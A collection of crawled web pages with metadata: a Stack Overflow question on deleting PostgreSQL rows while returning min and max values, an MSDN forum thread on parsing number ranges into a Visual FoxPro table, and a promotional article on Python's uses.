delete from _TABLE_ where _CONDITION_;
table is big, and when I process it, quering that way in cycle, it takes some time. I thought I can optimize it using "returning" in delete, like
delete from _TABLE_ where _CONDITION_ returning max(col), min(col);
it would be absolutely what I need, but... it does not work at all :) talking that I can't use aggregate functions in returning clause...
is there any good way to improve two queries (selecting max/min of data and deleting the same data) making one query instead? Any trick?
thank you in advance for any information, Maxym
share|improve this question
Are the CONDITIONS mutually exclusive and relatively low in number? – cope360 Feb 9 '10 at 19:53
sorry, what do you mean? Actually "col".. hm, in reality I have two columns, which represent coordinate of point (latitude and longitude), so I select delete all points from table according to some rectangle, but I have to know what was the min/max longitude and longitude of deleted points (real, because approx I could take rectangle :) – Maxym Feb 14 '10 at 1:44
2 Answers
up vote 1 down vote accepted
Use a function like this:
create temporary table test (value int);
insert into test select generate_series(1,100);
create or replace function delete_even_from_test_and_return_min_deleted()
returns int as
$$
declare
_value record;
min int;
begin
min=X'7FFFFFFF'; -- INT_MAX
for _value in
delete from test where value%2=0 returning value
loop
if min>_value.value then
min=_value.value;
end if;
end loop;
return min;
end;
$$ language plpgsql;
select count(*) from test;
100
select delete_even_from_test_and_return_min_deleted();
2
select count(*) from test;
50
share|improve this answer
thank you, I will try on Mon – Maxym Feb 14 '10 at 1:46
You can do:
with foo as(delete from table where _CONDITION_ returning col)
select max(col), min(col) from foo
share|improve this answer
1
why only from 9.1? the idea is to use CTE function, right? it was enabled for instance in 8.4 too. – Maxym May 15 '12 at 12:07
yes, you are right. I think you cannot do WITH (...) DELETE/INSERT before 9.1 : postgresql.org/docs/9.1/static/queries-with.html . I just mixed things up, thanks! – cataldo May 18 '12 at 15:48
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://facebook.stackoverflow.com/questions/2228203/deleting-and-returning-data-in-postgresql",
"source_domain": "facebook.stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2013-20",
"warc_metadata": {
"Content-Length": "53996",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5AZB2JLNRL545223MLCEVZD5VNFOED3N",
"WARC-Concurrent-To": "<urn:uuid:b523f747-4b34-452a-8575-d7294f739474>",
"WARC-Date": "2013-05-25T19:43:38Z",
"WARC-IP-Address": "198.252.206.16",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:5K54P6V4U2OSRM3DJXU55RDFYLODMS5H",
"WARC-Record-ID": "<urn:uuid:da828bf2-8b56-4cf1-a2db-cc9a79f9aef9>",
"WARC-Target-URI": "http://facebook.stackoverflow.com/questions/2228203/deleting-and-returning-data-in-postgresql",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:37584659-3791-4d3c-ab69-e11b2122b39c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-60-113-184.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-20\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Spring 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
15,
138,
406,
407,
719,
720,
778,
782,
821,
822,
968,
969,
1037,
1038,
1176,
1177,
1314,
1315,
1363,
1364,
1392,
1489,
1855,
1856,
1866,
1867,
1896,
1897,
1923,
1924,
1965,
2013,
2014,
2088,
2105,
2108,
2116,
2133,
2144,
2150,
2180,
2196,
2249,
2256,
2285,
2309,
2321,
2333,
2347,
2352,
2373,
2374,
2401,
2405,
2406,
2461,
2463,
2464,
2491,
2494,
2520,
2576,
2577,
2589,
2590,
2653,
2688,
2714,
2718,
2845,
3038,
3039,
3051,
3052,
3054,
3062,
3063,
3141,
3142
],
"line_end_idx": [
15,
138,
406,
407,
719,
720,
778,
782,
821,
822,
968,
969,
1037,
1038,
1176,
1177,
1314,
1315,
1363,
1364,
1392,
1489,
1855,
1856,
1866,
1867,
1896,
1897,
1923,
1924,
1965,
2013,
2014,
2088,
2105,
2108,
2116,
2133,
2144,
2150,
2180,
2196,
2249,
2256,
2285,
2309,
2321,
2333,
2347,
2352,
2373,
2374,
2401,
2405,
2406,
2461,
2463,
2464,
2491,
2494,
2520,
2576,
2577,
2589,
2590,
2653,
2688,
2714,
2718,
2845,
3038,
3039,
3051,
3052,
3054,
3062,
3063,
3141,
3142,
3232
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3232,
"ccnet_original_nlines": 79,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.32848837971687317,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04360464960336685,
"rps_doc_frac_lines_end_with_ellipsis": 0.02500000037252903,
"rps_doc_frac_no_alph_words": 0.2718023359775543,
"rps_doc_frac_unique_words": 0.5039682388305664,
"rps_doc_mean_word_length": 4.861111164093018,
"rps_doc_num_sentences": 34,
"rps_doc_symbol_to_word_ratio": 0.005813950207084417,
"rps_doc_unigram_entropy": 5.205183506011963,
"rps_doc_word_count": 504,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05265305936336517,
"rps_doc_frac_chars_dupe_6grams": 0.01224489975720644,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.018367350101470947,
"rps_doc_frac_chars_top_3gram": 0.022857140749692917,
"rps_doc_frac_chars_top_4gram": 0.037551019340753555,
"rps_doc_books_importance": -335.533203125,
"rps_doc_books_importance_length_correction": -335.533203125,
"rps_doc_openwebtext_importance": -180.94613647460938,
"rps_doc_openwebtext_importance_length_correction": -180.94613647460938,
"rps_doc_wikipedia_importance": -146.5010528564453,
"rps_doc_wikipedia_importance_length_correction": -146.5010528564453
},
"fasttext": {
"dclm": 0.020010709762573242,
"english": 0.8656989336013794,
"fineweb_edu_approx": 1.3044887781143188,
"eai_general_math": 0.004305480048060417,
"eai_open_web_math": 0.06818997859954834,
"eai_web_code": 0.0035342599730938673
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.746",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,154,927,261,202,055,000 | none
From a Horizontal List to a Vertical Table?
Question
• I need to create a table based on a list of names a numbers, like the example below.
Alpha;100;55, 77, 91, 93-99
Bravo;200;25, 29, 33, 44
Charlie;300;10-13, 15-18, 61, 67-70
The list is given in a semi-colon delimited text file.
I need to generate a table in the following format.
Name Code Number
Alpha 100 55
Alpha 100 77
Alpha 100 91
Alpha 100 93
Alpha 100 94
Alpha 100 95
Alpha 100 96
Alpha 100 97
Alpha 100 98
Alpha 100 99
Bravo 200 25
Bravo 200 29
Bravo 200 33
Bravo 200 44
Charlie 300 10
Charlie 300 11
Charlie 300 12
Charlie 300 13
Charlie 300 15
Charlie 300 16
Charlie 300 17
Charlie 300 18
Charlie 300 61
Charlie 300 67
Charlie 300 68
Charlie 300 69
Charlie 300 70
Getting the first two columns seem easy. I just seem to be running into problems with loops and getting the third column.
As you can tell, the given list specifies ranges of numbers, and I need to generate a record for each number within those given ranges. And there can be several ranges given per line, along with individual numbers.
Any help would be much appreciated.
Thanks,
Jason...
Monday, April 22, 2019 1:57 PM
Answers
• JR,
Kind of brute force, but this will work if you don't have it yet.
Steve
CREATE TABLE Codes (Letter C(7), CodeNum I, Suffix I)
FOR ii = 1 TO ALINES(aRec,FILETOSTR('MyTextFile.txt'),4))
cLine = ';' + STRTRAN(aRec(m.ii),',',';') + ';'
Letter = STREXTRACT(m.cLine,';',';',1)
CodeNum = VAL(STREXTRACT(m.cLine,';',';',2))
FOR jj = 3 TO OCCURS(';',m.cLine) - 1
cItem = STREXTRACT(m.cLine,';',';',m.jj)
IF '-' $ m.cItem
nLo = VAL(m.cItem)
nHi = VAL(SUBSTR(m.cItem,AT('-',m.cItem)+1))
FOR kk = m.nLo TO m.nHi
INSERT INTO Codes VALUES (m.Letter, m.CodeNum, m.kk)
ENDFOR
ELSE
INSERT INTO Codes VALUES (m.Letter, m.CodeNum, VAL(m.cItem))
ENDIF
ENDFOR
ENDFOR
• Marked as answer by JR Cannon Wednesday, April 24, 2019 12:01 PM
Tuesday, April 23, 2019 11:52 PM
All replies
• The topic of parsing is not that hard since ALINES() can split with other delimiters than line feeds and besides that you always have STREXTRACT(), even simpler.
Divide a problem into smaller ones.
In this case first dived the input lines into simple array elements you can loop:
ProcessFile.prg:
Lparameters tcFilename
tcFilename = EVL(tcFilename,"defaultinput.txt")
Local lcFile, lnI
lcFILE = FileToStr(tcFilename)
FOR lnI = 1 TO ALINES(laLines)
ProcessLine(laLines[lnI])
ENDFOR
One step further to the goal.
Next step in ProcesLine.prg or a function ProcessLine you split the line into name, code and list of numbers which are separated by semicolons.
Next step will be a function (name your choosing) to split the list of numbers at commas, with the given name and code you can create rows now. Despite those parts of the number list not being a single number. You detect that via the "-" in the string and split at "-" to have low and high value of a loop.
You can do that.
Bye, Olaf.
Monday, April 22, 2019 3:31 PM
• Much thanks, Olaf.
I did have the method of finding the '-' in the list of number separated by commas, and creating the loops to go through them, but was getting confused. And I have not used ALINES() much so researching that for a better understanding, along with some other methods.
Thanks, Jason...
Monday, April 22, 2019 6:33 PM
• JR,
Kind of brute force, but this will work if you don't have it yet.
Steve
CREATE TABLE Codes (Letter C(7), CodeNum I, Suffix I)
FOR ii = 1 TO ALINES(aRec,FILETOSTR('MyTextFile.txt'),4))
cLine = ';' + STRTRAN(aRec(m.ii),',',';') + ';'
Letter = STREXTRACT(m.cLine,';',';',1)
CodeNum = VAL(STREXTRACT(m.cLine,';',';',2))
FOR jj = 3 TO OCCURS(';',m.cLine) - 1
cItem = STREXTRACT(m.cLine,';',';',m.jj)
IF '-' $ m.cItem
nLo = VAL(m.cItem)
nHi = VAL(SUBSTR(m.cItem,AT('-',m.cItem)+1))
FOR kk = m.nLo TO m.nHi
INSERT INTO Codes VALUES (m.Letter, m.CodeNum, m.kk)
ENDFOR
ELSE
INSERT INTO Codes VALUES (m.Letter, m.CodeNum, VAL(m.cItem))
ENDIF
ENDFOR
ENDFOR
• Marked as answer by JR Cannon Wednesday, April 24, 2019 12:01 PM
Tuesday, April 23, 2019 11:52 PM
• Much thanks, Steve. That helps a lot!
Wednesday, April 24, 2019 12:02 PM | {
"url": "https://social.msdn.microsoft.com/Forums/en-US/114b15a3-0136-45df-9ec4-6654d36a8690/from-a-horizontal-list-to-a-vertical-table?forum=visualfoxprogeneral",
"source_domain": "social.msdn.microsoft.com",
"snapshot_id": "crawl=CC-MAIN-2019-22",
"warc_metadata": {
"Content-Length": "74631",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2TTCMOZEG366JIVTHNQDOWAHJJ5OHCMG",
"WARC-Concurrent-To": "<urn:uuid:d56c3a40-7d6d-4cba-aafb-0b91122543fb>",
"WARC-Date": "2019-05-27T12:27:35Z",
"WARC-IP-Address": "23.44.90.65",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:FTYR6IHGYFN2LBFHSMBRQSO2KRGU5V4H",
"WARC-Record-ID": "<urn:uuid:a2bbce52-0c6e-4476-a516-c4667ad50669>",
"WARC-Target-URI": "https://social.msdn.microsoft.com/Forums/en-US/114b15a3-0136-45df-9ec4-6654d36a8690/from-a-horizontal-list-to-a-vertical-table?forum=visualfoxprogeneral",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:bac52541-4036-49bb-9756-54c955678356>"
},
"warc_info": "isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-7-214-88.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
6,
50,
51,
64,
65,
154,
155,
187,
216,
256,
257,
318,
319,
375,
376,
397,
414,
431,
448,
465,
482,
499,
516,
533,
550,
567,
584,
601,
618,
635,
654,
673,
692,
711,
730,
749,
768,
787,
806,
825,
844,
863,
882,
887,
888,
1018,
1019,
1240,
1241,
1281,
1282,
1294,
1295,
1308,
1309,
1344,
1345,
1353,
1354,
1362,
1363,
1433,
1434,
1444,
1445,
1503,
1565,
1618,
1662,
1712,
1755,
1802,
1825,
1851,
1903,
1934,
1995,
2009,
2020,
2088,
2100,
2112,
2123,
2124,
2195,
2232,
2233,
2245,
2246,
2412,
2413,
2453,
2454,
2540,
2541,
2562,
2563,
2590,
2642,
2664,
2699,
2734,
2768,
2779,
2780,
2814,
2815,
2963,
2964,
3276,
3277,
3298,
3299,
3314,
3315,
3316,
3317,
3352,
3377,
3378,
3650,
3651,
3672,
3673,
3708,
3716,
3717,
3787,
3788,
3798,
3799,
3857,
3919,
3972,
4016,
4066,
4109,
4156,
4179,
4205,
4257,
4288,
4349,
4363,
4374,
4442,
4454,
4466,
4477,
4478,
4549,
4586,
4630
],
"line_end_idx": [
6,
50,
51,
64,
65,
154,
155,
187,
216,
256,
257,
318,
319,
375,
376,
397,
414,
431,
448,
465,
482,
499,
516,
533,
550,
567,
584,
601,
618,
635,
654,
673,
692,
711,
730,
749,
768,
787,
806,
825,
844,
863,
882,
887,
888,
1018,
1019,
1240,
1241,
1281,
1282,
1294,
1295,
1308,
1309,
1344,
1345,
1353,
1354,
1362,
1363,
1433,
1434,
1444,
1445,
1503,
1565,
1618,
1662,
1712,
1755,
1802,
1825,
1851,
1903,
1934,
1995,
2009,
2020,
2088,
2100,
2112,
2123,
2124,
2195,
2232,
2233,
2245,
2246,
2412,
2413,
2453,
2454,
2540,
2541,
2562,
2563,
2590,
2642,
2664,
2699,
2734,
2768,
2779,
2780,
2814,
2815,
2963,
2964,
3276,
3277,
3298,
3299,
3314,
3315,
3316,
3317,
3352,
3377,
3378,
3650,
3651,
3672,
3673,
3708,
3716,
3717,
3787,
3788,
3798,
3799,
3857,
3919,
3972,
4016,
4066,
4109,
4156,
4179,
4205,
4257,
4288,
4349,
4363,
4374,
4442,
4454,
4466,
4477,
4478,
4549,
4586,
4630,
4668
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4668,
"ccnet_original_nlines": 153,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23091787099838257,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.09468598663806915,
"rps_doc_frac_lines_end_with_ellipsis": 0.012987010180950165,
"rps_doc_frac_no_alph_words": 0.38840579986572266,
"rps_doc_frac_unique_words": 0.41781872510910034,
"rps_doc_mean_word_length": 4.643625259399414,
"rps_doc_num_sentences": 69,
"rps_doc_symbol_to_word_ratio": 0.0019323700107634068,
"rps_doc_unigram_entropy": 5.217374324798584,
"rps_doc_word_count": 651,
"rps_doc_frac_chars_dupe_10grams": 0.33013564348220825,
"rps_doc_frac_chars_dupe_5grams": 0.35924577713012695,
"rps_doc_frac_chars_dupe_6grams": 0.34866026043891907,
"rps_doc_frac_chars_dupe_7grams": 0.33013564348220825,
"rps_doc_frac_chars_dupe_8grams": 0.33013564348220825,
"rps_doc_frac_chars_dupe_9grams": 0.33013564348220825,
"rps_doc_frac_chars_top_2gram": 0.043003641068935394,
"rps_doc_frac_chars_top_3gram": 0.01984783075749874,
"rps_doc_frac_chars_top_4gram": 0.027786970138549805,
"rps_doc_books_importance": -506.46075439453125,
"rps_doc_books_importance_length_correction": -506.46075439453125,
"rps_doc_openwebtext_importance": -327.1992492675781,
"rps_doc_openwebtext_importance_length_correction": -327.1992492675781,
"rps_doc_wikipedia_importance": -211.4453582763672,
"rps_doc_wikipedia_importance_length_correction": -211.4453582763672
},
"fasttext": {
"dclm": 0.19899249076843262,
"english": 0.7038898468017578,
"fineweb_edu_approx": 1.5961543321609497,
"eai_general_math": 0.16587084531784058,
"eai_open_web_math": 0.37227755784988403,
"eai_web_code": 0.0009157700114883482
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
1,852,956,574,697,781,500 | What Is Python Used For?
What Is Python Used For?
Exploring the Popularity and Versatility of Python
Python, the widely beloved programming language, has secured its place as a go-to choice for programmers across various domains. Its ease of use, flexibility, and extensive libraries have made it a versatile tool in the world of software development. In this comprehensive guide, we delve into Python’s popularity and the diverse applications it serves. We’ll uncover the advantages that set Python apart and explore its utility in data science, machine learning, web development, financial analysis, desktop applications, business software, scripting, and utility. Join us on this journey to understand why Python is the preferred language for countless developers.
Unveiling Python’s Popularity
Python has soared to the top of the popularity charts in the world of programming. Stack Overflow’s recent survey revealed that an impressive two-thirds of developers using Python not only love the language but also plan to continue utilizing it in their projects. This begs the question: What makes Python so popular, and what are its various applications?
The Advantages of Python
Python’s appeal can be attributed to a multitude of advantages that cater to both beginners and experienced programmers. Its simplicity, characterized by an English-like syntax, makes it incredibly easy to learn and read. Unlike some other programming languages, Python relies on simple line breaks rather than symbols to define code blocks, enhancing its readability and reducing the learning curve.
The language also expedites development with a treasure trove of built-in classes and functions. Additionally, Python boasts an extensive selection of libraries that simplify the coding process, making it quicker and more accessible. Being an interpreted language, Python enables developers to execute and test their code promptly after writing it, eliminating the need for an intermediate compilation process.
Another remarkable facet of Python is its versatility. It is a portable, cross-platform language, which means that you can write and execute Python code on any operating system equipped with a Python interpreter. This flexibility is a significant advantage, as other languages often require code modification to run on different platforms.
Exploring Python’s Diverse Applications
Python’s adaptability shines through its ability to fit into a wide range of applications across various industries. Let’s delve into some of the prominent fields where Python takes center stage:
1. Data Science: Analytics and Visualization
Python is a cornerstone in the realm of data science. Data scientists and analysts turn to Python and R for data manipulation, reporting, and predictive analysis. While R is a worthy contender, many data scientists prefer Python due to its user-friendly syntax, which bears a striking resemblance to English. Python’s simple syntax, complemented by a rich selection of third-party libraries, provides a compelling reason for aspiring data scientists to choose this language for their journey into data manipulation. For those eager to embark on this path, our free course “Getting Started with Python for Data Science” is a valuable resource.
2. Machine Learning
Machine learning, a fascinating subfield of data science, deserves its own category within the Python ecosystem. Machine learning involves training systems to learn independently through algorithms that continually update based on input data. These algorithms adapt to new situations by generating output using historical datasets. The outcome of these new scenarios further refines the algorithms, ensuring constant evolution.
3. Web Development: Websites and Web Apps
Python plays a pivotal role in back-end web development, where it operates on web application servers. It interacts with databases and APIs to fulfill user requests from the front-end of web applications within browsers. The popularity of Python in web development can be attributed to the wealth of frameworks and libraries available, such as Django and Flask, which enhance the language’s utility.
4. Financial Analysis
Python’s significance extends to the financial sector, where it takes the lead as the preferred programming language for FinTech companies. However, it’s not limited to FinTech alone; Python finds applications across the entire financial industry due to its robust data processing capabilities and a plethora of third-party libraries specifically designed for financial analysis.
5. Desktop Applications
Python’s reach extends to the realm of desktop applications. Many Linux and open-source desktop applications are built using Python. The availability of GUI libraries like Tk, wxWidgets, and Qt further empowers developers to create cross-platform applications compatible with Windows, Mac, and Linux.
6. Business Applications
Python lies at the heart of various business software applications, exemplified by tools like Tryton and Odoo. These solutions are indispensable for enterprise development, offering functionalities such as accounting, inventory management, and customer relationship management. Businesses, both large and small, rely on Python for its ease of use and scalability, making it a common choice in their tech stacks.
7. Scripting and Utility Software
Python had its origins as a scripting language and continues to be widely used for this purpose. Numerous utilities and scripts integrated into Linux operating systems are authored in Python. Moreover, Python is pre-installed in Mac OS, making it the language of choice for automating daily tasks in the routine work of engineers.
Python’s widespread applications in these diverse fields underscore its adaptability and enduring relevance in the ever-evolving landscape of software development.
Conclusion
In the world of programming, Python’s dominance remains unchallenged. Its widespread popularity is not a mere coincidence but a testament to its simplicity, versatility, and wide-ranging applications. Whether you are delving into data science, machine learning, web development, financial analysis, desktop applications, business software, or utility scripting, Python emerges as the language of choice. Its robust ecosystem of libraries and frameworks, coupled with an English-like syntax, makes Python a compelling option for both novice and seasoned programmers. The continued growth of Python’s community and the ever-expanding scope of its applications ensure that it will remain a fundamental language in the world of software development for years to come.
What Is Extended Reality (XR) and How Is it Changing the World?
Post On December 06, 2023 | By Anna James
What Is Extended Reality (XR) and How Is it Changing the World?
Extended Reality (XR) is a fascinating realm where the digital and physical worlds converge, offering immersive experiences beyond our wildest imagination. It encompasses a spectrum of technologies, including Virtual Reality (VR), Augmented Reality (AR), and Mixed Reality (MR). In this article, we delve into the various dimensions of XR, exploring its types, evolution, advantages, applicationsRead more
Picking Your Career In XR: Designer Vs Developer Path
Post On December 06, 2023 | By Anna James
Picking Your Career In XR: Designer Vs Developer Path
In a world increasingly shaped by augmented reality (AR), virtual reality (VR), and mixed reality (MR), the demand for skills in AR and VR development and design is soaring. The career crossroads in the extended reality (XR) industry present aspiring professionals with a crucial decision: to delve into the intricacies of development or to embarkRead more
Immersive App Development With Extended Reality (XR)
Post On December 05, 2023 | By Anna James
Immersive App Development With Extended Reality (XR)
Understanding Extended Reality (XR) In the fast-paced digital landscape, Extended Reality (XR) emerges as a transformative force, encompassing virtual reality (VR), augmented reality (AR), and mixed reality (MR). XR presents a universal term, evolving continually and offering businesses new avenues for customer interaction. Embracing Virtual Reality (VR) Unveiling VR App Development Virtual Reality (VR) transcendsRead more
Brands we WORK with
2013 - 2023 Foreignerds Inc. All Rights Reserved
facebookFacebook
twitterTwitter
linkedinLinkedin
instagramInstagram | {
"url": "https://foreignerds.com/what-is-python-used-for-development/",
"source_domain": "foreignerds.com",
"snapshot_id": "CC-MAIN-2023-50",
"warc_metadata": {
"Content-Length": "78149",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QBX3RAH2G4BXNSH3DND5ODMX2IGTEALB",
"WARC-Concurrent-To": "<urn:uuid:cfaf85d5-4b28-4c5d-befd-de548c5cf061>",
"WARC-Date": "2023-12-07T00:07:31Z",
"WARC-IP-Address": "85.31.238.72",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:FUY5VVKBESEW2FJUM55ZSV6VXWT55ER4",
"WARC-Record-ID": "<urn:uuid:bf9fc2b3-4b89-4f43-bfae-cd4768682a2d>",
"WARC-Target-URI": "https://foreignerds.com/what-is-python-used-for-development/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8d1bed8f-492f-4866-8271-820b61a40315>"
},
"warc_info": "isPartOf: CC-MAIN-2023-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-172\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
25,
50,
51,
102,
103,
770,
771,
801,
802,
1160,
1161,
1186,
1187,
1588,
1589,
2000,
2001,
2341,
2342,
2382,
2383,
2579,
2580,
2625,
2626,
3269,
3270,
3290,
3291,
3719,
3720,
3762,
3763,
4163,
4164,
4186,
4187,
4567,
4568,
4592,
4593,
4894,
4895,
4920,
4921,
5333,
5334,
5368,
5369,
5700,
5701,
5865,
5866,
5877,
5878,
6642,
6643,
6707,
6749,
6750,
6814,
6815,
7221,
7222,
7276,
7318,
7319,
7373,
7374,
7731,
7732,
7785,
7827,
7828,
7881,
7882,
8309,
8310,
8330,
8331,
8380,
8381,
8398,
8413,
8430
],
"line_end_idx": [
25,
50,
51,
102,
103,
770,
771,
801,
802,
1160,
1161,
1186,
1187,
1588,
1589,
2000,
2001,
2341,
2342,
2382,
2383,
2579,
2580,
2625,
2626,
3269,
3270,
3290,
3291,
3719,
3720,
3762,
3763,
4163,
4164,
4186,
4187,
4567,
4568,
4592,
4593,
4894,
4895,
4920,
4921,
5333,
5334,
5368,
5369,
5700,
5701,
5865,
5866,
5877,
5878,
6642,
6643,
6707,
6749,
6750,
6814,
6815,
7221,
7222,
7276,
7318,
7319,
7373,
7374,
7731,
7732,
7785,
7827,
7828,
7881,
7882,
8309,
8310,
8330,
8331,
8380,
8381,
8398,
8413,
8430,
8448
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8448,
"ccnet_original_nlines": 85,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29798656702041626,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.020805370062589645,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16107383370399475,
"rps_doc_frac_unique_words": 0.41023558378219604,
"rps_doc_mean_word_length": 5.653127670288086,
"rps_doc_num_sentences": 65,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.5087971687316895,
"rps_doc_word_count": 1231,
"rps_doc_frac_chars_dupe_10grams": 0.05518034100532532,
"rps_doc_frac_chars_dupe_5grams": 0.11036068201065063,
"rps_doc_frac_chars_dupe_6grams": 0.09828998148441315,
"rps_doc_frac_chars_dupe_7grams": 0.0893806591629982,
"rps_doc_frac_chars_dupe_8grams": 0.07673516124486923,
"rps_doc_frac_chars_dupe_9grams": 0.06782583892345428,
"rps_doc_frac_chars_top_2gram": 0.006466450169682503,
"rps_doc_frac_chars_top_3gram": 0.019543040543794632,
"rps_doc_frac_chars_top_4gram": 0.006897539831697941,
"rps_doc_books_importance": -633.6119995117188,
"rps_doc_books_importance_length_correction": -633.6119995117188,
"rps_doc_openwebtext_importance": -349.4273376464844,
"rps_doc_openwebtext_importance_length_correction": -349.4273376464844,
"rps_doc_wikipedia_importance": -351.599365234375,
"rps_doc_wikipedia_importance_length_correction": -351.599365234375
},
"fasttext": {
"dclm": 0.9230787754058838,
"english": 0.900316059589386,
"fineweb_edu_approx": 2.8438196182250977,
"eai_general_math": 0.18949103355407715,
"eai_open_web_math": 0.14104461669921875,
"eai_web_code": 0.6741332411766052
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.019",
"labels": {
